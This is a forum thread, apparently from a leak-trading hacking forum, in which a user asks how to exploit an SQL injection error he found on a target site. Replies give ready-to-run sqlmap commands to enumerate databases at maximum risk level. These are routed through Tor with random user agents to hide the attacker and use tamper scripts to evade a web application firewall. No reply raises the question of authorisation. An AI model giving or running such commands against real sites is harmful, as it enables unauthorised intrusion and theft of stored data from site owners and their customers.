Help sql injection and sqlmap this case?
by liampv - Thursday August 15, 2024 at 01:41 PM
#1
Hi everybody
I'm trying to learn about sql injection and sqlmap.
I tried a website, and saw an error like this? How should I exploit it?
victim.com/search/12'
Error massage:
Query: SELECT * FROM php_order WHERE id='12''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''12''' at line 1
I tried like this:
sqlmap -u "victim.com/search/12*" --dbs --dbms=mysql
but no result.
Please help me this case
Reply
#2
Can you show the output from such command, try adding verbose with it.
Ban reason: Legend (Permanent)
Reply
#3
Try this
sqlmap -u "victim.com/search/12'" --level=5 --risk=3 -o --dbs --answer="crack=n" --tor --check-tor --tor-type=socks5 --tor-port=9150 --no-cast --random-agent

And try adding --threads=5 and verbose like Intel mention
Ban reason: Sale of public leaks + attempted scam and manipulation. Shame. | https://raidforums.im/Forum-Ban-Appeals if you feel this is incorrect. (Permanent)
Reply
#4
(08-15-2024, 01:41 PM)liampv Wrote:
Hi everybody
I'm trying to learn about sql injection and sqlmap.
I tried a website, and saw an error like this? How should I exploit it?
victim.com/search/12'
Error massage:
Query: SELECT * FROM php_order WHERE id='12''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''12''' at line 1
I tried like this:
sqlmap -u "victim.com/search/12*" --dbs --dbms=mysql
but no result.
Please help me this case

If the error you receive is caused by WAF or you encounter this error after finding the solution, add the following parameter: 

 --tamper="between,randomcase,space2comment"

Good luck / By @rr00ttsec  Cool
Reply
#5
This isn't that easy, every sql server have his own tricks and arguments to use. (except low hanging fruit) Without some details i can't help.

the only thing i can say if you found some entry point use --banner to confirm it isn't a false positive
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Forums and Telegrams channels Databases leak sites j4c1nt0 3,119 365,864 Yesterday, 01:32 PM
Last Post: misoo
  Find leaked API keys and Tokens (regex) CreateThread 28 19,594 Yesterday, 01:25 PM
Last Post: misoo
  ⭐[Updated ]Forums and Telegrams channels Databases leak sites⭐ greekis 348 36,768 10-28-2026, 11:02 PM
Last Post: Tovenaar777
  [LEAK] Malware Forensics V2 - Classic and AI - ChatGPT In Decoding and Evasion randomuser 37 3,841 10-26-2026, 05:04 AM
Last Post: mrhoolaa
  ✅✅ MEGA LEAK 140GO FRENCH FORMATION DROPSHIPPING, TRADING , FBA... AND MORE ! ✅✅ Kenz 231 20,401 10-24-2026, 05:15 PM
Last Post: Idontknowit



 Users browsing this thread: 1 Guest(s)